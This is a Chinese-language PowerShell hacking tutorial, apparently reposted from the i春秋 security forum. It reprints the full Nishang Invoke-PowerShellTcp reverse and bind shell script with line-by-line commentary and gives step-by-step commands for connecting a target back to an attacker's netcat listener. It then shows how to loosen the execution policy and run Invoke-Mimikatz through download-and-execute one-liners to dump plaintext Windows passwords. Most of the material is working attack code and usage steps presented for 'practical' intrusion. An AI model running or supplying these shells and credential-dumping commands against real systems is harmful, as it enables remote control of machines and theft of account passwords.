原文來自:https://bbs.ichunqiu.com/thread-41561-1-1.html
i春秋作家:anyedt
0×00 引言
經過基礎篇的學習我們已經對powershell有了一個基本的了解,接下來我們先補充一點基礎知識然后就嘗試去分析nishang中的優秀代碼學會如何去使用腳本最后實戰 。預告一下,第三篇高級篇帶你使用powershell遨游內網。
0×01 補充知識
a 命令格式
<command -name > -< Required Parameter Name > <Required Parameter Value > 命令 -名稱 請求參數名 請求參數值 [ -< Optional Parameter Name > <Optional Parameter Value >] [ -< Optional Switch Parameters >] [ -< Optional Parameter Name >] <Required Parameter Value >
b 等價別名
許多命令都有別名以及使用DOS的人或Unix這些可以非常熟悉。 別名是一種簡短的命令形式但是其作用是等價的。
Command Aliases (命令別名)
clear-host cls, clear
format-list fl
get-childitem gci, ls, dir get-content gc, cat, type get-location gl, pwd get-member gm remove-item ri, rm, rmdir, del, erase, rd write-output write, echo
c 執行策略問題
Powershell腳本執行策略是默認不允許執行任何腳本,如果我們沒有修改過執行策略而直接運行可能出現以下問題。
解決辦法
首先查看腳本執行策略設置情況,可以通過 Get-ExecutionPolicyget-executionpolicy命令。如果顯示 Restricted 即不允許執行任何腳本。使用管理員身份運行powerhsell然后執行命令:set-executionpolicy remotesigned 回車之后即可執行腳本。
0×02 分析TCP交互式PowerShell腳本
該腳本取之於nishang這個框架,Nishang是一個PowerShell攻擊框架,它是PowerShell攻擊腳本和有效載荷的一個集合。Nishang被廣泛應用於滲透測試的各個階段。下載地址:https://github.com/samratashok/nishang。
先貼上其TCP交互式PowerShell腳本(建立一個TCP正向連接或反向連接shell )代碼如下:
function Invoke-PowerShellTcp
{
<# .SYNOPSIS Nishang script which can be used for Reverse or Bind interactive PowerShell from a target. .DESCRIPTION This script is able to connect to a standard netcat listening on a port when using the -Reverse switch. Also, a standard netcat can connect to this script Bind to a specific port. The script is derived from Powerfun written by Ben Turner & Dave Hardy .PARAMETER IPAddress The IP address to connect to when using the -Reverse switch. .PARAMETER Port The port to connect to when using the -Reverse switch. When using -Bind it is the port on which this script listens. .EXAMPLE PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444 Above shows an example of an interactive PowerShell reverse connect shell. A netcat/powercat listener must be listening on the given IP and port. .EXAMPLE PS > Invoke-PowerShellTcp -Bind -Port 4444 Above shows an example of an interactive PowerShell bind connect shell. Use a netcat/powercat to connect to this port. .EXAMPLE PS > Invoke-PowerShellTcp -Reverse -IPAddress fe80::20c:29ff:fe9d:b983 -Port 4444 Above shows an example of an interactive PowerShell reverse connect shell over IPv6. A netcat/powercat listener must be listening on the given IP and port. .LINK http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html https://github.com/nettitude/powershell/blob/master/powerfun.ps1 https://github.com/samratashok/nishang 注釋部分 #> [CmdletBinding(DefaultParameterSetName="reverse")] Param( [Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")] [Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")] [String] $IPAddress, [Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")] [Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")] [Int] $Port, [Parameter(ParameterSetName="reverse")] [Switch] $Reverse, [Parameter(ParameterSetName="bind")] [Switch] $Bind ) try { #Connect back if the reverse switch is used. if ($Reverse) { $client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port) } #Bind to the provided port if Bind switch is used. if ($Bind) { $listener = [System.Net.Sockets.TcpListener]$Port $listener.start() $client = $listener.AcceptTcpClient() } $stream = $client.GetStream() [byte[]]$bytes = 0..65535|%{0} #Send back current username and computername $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n") $stream.Write($sendbytes,0,$sendbytes.Length) #Show an interactive PowerShell prompt $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>') $stream.Write($sendbytes,0,$sendbytes.Length) while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) { $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding $data = $EncodedText.GetString($bytes,0, $i) try { #Execute the command on the target. $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String ) } catch { Write-Warning "Something went wrong with execution of command on the target." Write-Error $_ } $sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> ' $x = ($error[0] | Out-String) $error.clear() $sendback2 = $sendback2 + $x #Return the results $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2) $stream.Write($sendbyte,0,$sendbyte.Length) $stream.Flush() } $client.Close() if ($listener) { $listener.Stop() } } catch { Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port." Write-Error $_ } }
a 注釋部分
注釋部分描述了腳本的概要、用途、腳本的事例、參考鏈接等信息。
<#
.SYNOPSIS
Nishang script which can be used for Reverse or Bind interactive PowerShell from a target. .DESCRIPTION This script is able to connect to a standard netcat listening on a port when using the -Reverse switch. Also, a standard netcat can connect to this script Bind to a specific port. The script is derived from Powerfun written by Ben Turner & Dave Hardy .PARAMETER IPAddress The IP address to connect to when using the -Reverse switch. .PARAMETER Port The port to connect to when using the -Reverse switch. When using -Bind it is the port on which this script listens. .EXAMPLE PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444 Above shows an example of an interactive PowerShell reverse connect shell. A netcat/powercat listener must be listening on the given IP and port. .EXAMPLE PS > Invoke-PowerShellTcp -Bind -Port 4444 Above shows an example of an interactive PowerShell bind connect shell. Use a netcat/powercat to connect to this port. .EXAMPLE PS > Invoke-PowerShellTcp -Reverse -IPAddress fe80::20c:29ff:fe9d:b983 -Port 4444 Above shows an example of an interactive PowerShell reverse connect shell over IPv6. A netcat/powercat listener must be listening on the given IP and port. .LINK http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html https://github.com/nettitude/powershell/blob/master/powerfun.ps1 https://github.com/samratashok/nishang 注釋部分 #>
b Param運行參數部分
DefaultParameterSetName=”reverse” 說明默認采用反向shell連接的方式.可選參數和強制參數必須同時使用 reverse和bind可選默認值為reverse,但是$IPAddress和$Port必須進行設置。最后根據輸入的內容匹配類型獲取最終值。
[CmdletBinding(DefaultParameterSetName="reverse")] Param( <# DefaultParameterSetName="reverse" 說明默認采用反向shell連接的方式。 可選參數和強制參數必須同時使用 reverse和bind可選默認值為reverse,但是$IPAddress和$Port必須 進行設置。 $IPAddress 目標IP地址 $Port 目標端口 #> [Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")] [Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")] [String] $IPAddress, [Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")] [Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")] [Int] $Port, [Parameter(ParameterSetName="reverse")] [Switch] $Reverse, <# 根據輸入的內容匹配類型 #> [Parameter(ParameterSetName="bind")] [Switch] $Bind )
c 主函數部分
try
{
# 連接有可能出錯所以這里使用個異常處理trt catch, # 判斷是否存在對應值,如果存在建立TCP反向shell連接,本機充當客戶端。 if ($Reverse) { $client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port) } # 判斷是否存在對應值,如果存在建立TCP正向shell連接,本機充當服務端。 if ($Bind) { $listener = [System.Net.Sockets.TcpListener]$Port $listener.start() $client = $listener.AcceptTcpClient() } # 構建數據流 $stream = $client.GetStream() [byte[]]$bytes = 0..65535|%{0} #把靶機的相關信息發送到攻擊機中去 $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n") $stream.Write($sendbytes,0,$sendbytes.Length) #交互式信息提示 $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>') $stream.Write($sendbytes,0,$sendbytes.Length) # 判斷數據是否傳輸完成,不完成就傳輸完為止 while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) { $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding $data = $EncodedText.GetString($bytes,0, $i) try { #執行命令,然后輸出 $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String ) } catch { # 異常處理 Write-Warning "Something went wrong with execution of command on the target." Write-Error $_ } # 用於返回當前路徑 $sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> ' $x = ($error[0] | Out-String) # 清楚錯誤 $error.clear() $sendback2 = $sendback2 + $x #返回ASCII編碼過后的數據 $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2) $stream.Write($sendbyte,0,$sendbyte.Length) $stream.Flush() # 刷新流 } # 關閉連接 $client.Close() if ($listener) { $listener.Stop() } } catch { # 異常處理 Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port." Write-Error $_ }
0×03 腳本使用
a 導入命令模式
導入命令模式就是先導入ps1文件到powershell然后可以直接在命令行運行函數。
Import-Module ‘.\Invoke-PowerShellTcp .ps1′
反向連接
第一步 :在攻擊機上使用nc監聽本地端口4444(先監聽后連接,不然會出錯。)
第二步:靶機運行連接命令
Invoke-PowerShellTcp -Reverse -IPAddress 攻擊機ip -Port 攻擊機監聽的端口
第三步: 成功連接,獲取shell
正向連接
第一步: 靶機開啟監聽
Invoke-PowerShellTcp -bind -port 4444
第二步: 攻擊機nc連接靶機
nc -nv 192.168.17.132 4444
第三步:成功連接,獲取到shell
b 非導入命令模式
該模式不需要進行導入powershell,直接運行腳本。
正向連接
第一步: 在ps1文件中加入執行監聽命令
Invoke-PowerShellTcp -bind
第二步: 運行ps1文件,設置監聽端口,開啟監聽
.\Invoke-PowerShellTcp.ps1
第三步: 攻擊機nc連接靶機,獲取shell
反向連接
第一步:攻擊機監聽端口
nc -lvp 8888
第二步: 在ps1文件中加入執行連接命令
Invoke-PowerShellTcp -reverse 192.168.17.134 8888
第三步: 獲取shell
0×04 Mimikatz結合Powershell 獲取目標主機賬號密碼
實戰過程中在獲取低權限用戶之后我們為了擴展戰果我們就不得不提權,在沒有0day的基礎上最簡單的提權方式就是直接獲取目標主機的管理員賬號密碼。說起獲取密碼就不得不提提Mimikatz 這款工具了。mimikatz是由C語言編寫的開源小工具,功能非常強大。它支持從Windows系統內存中提取明文密碼、哈希、PIN碼和Kerberos憑證,以及pass-the-hash、pass-the-ticket、build Golden tickets等數種黑客技術。
我這里講的是Powershell結合Mimikatz的使用。實驗環境為騰訊雲的一台服務器window server 2008。
a 本地網絡環境運行
第一步: 下載Invoke-Mimikatz.ps1
Invoke-Mimikatz.ps1下載地址
https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1
第二步:直接一句話運行
powershell Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonPasswords full"'
#或者 本地搭建網絡環境http://192.168.1.1/ powershell "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.1/');Invoke-Mimikatz -DumpCreds" <# 假如存在執行策略問題: Get-ExecutionPolicy //結果顯示restricted Set-ExecutionPolicy Unrestricted //打開限制 Import-Module .\Invoke-Mimikatz.ps1 //導入命令 Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonPasswords full"' //獲取密碼 #>
第三步:成功獲取明文密碼
b 在線網絡環境運行
第一步:直接執行命令
在 Windows 2008 及以上操作系統中執⾏命令
powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubuserc
ontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); I
nvoke-Mimikatz -DumpCreds"
注意點:靶機必須可以正常訪問raw.githubusercontent.com 網絡,因為需要連接下載ps1文件。 Windows Server 2014以上版本僅能獲取到NTLM值,無法正常獲取明文密碼。
第二步: 成功獲取明文密碼
0×05 總結
本文重點學會分析腳本,懂得分析別人寫的,然后自己寫一個類似的腳本都是幾分鍾的事情。分析是為了去模仿好的,讓自己少走彎路,超越是我們要做的。緊接着我們講到了腳本的使用然后舉了一個實戰例子獲取明文密碼。希望大家能學會去使用powershell,然后重視它,掌握它。
i春秋推出優享會員制,開通會員可以免費暢享多類課程、實驗、CTF賽題等付費內容,並可享有包括會員日專屬福利、就業推薦等多種特權福利,更多活動詳情可點擊:https://bbs.ichunqiu.com/thread-40795-1-1.html了解哦~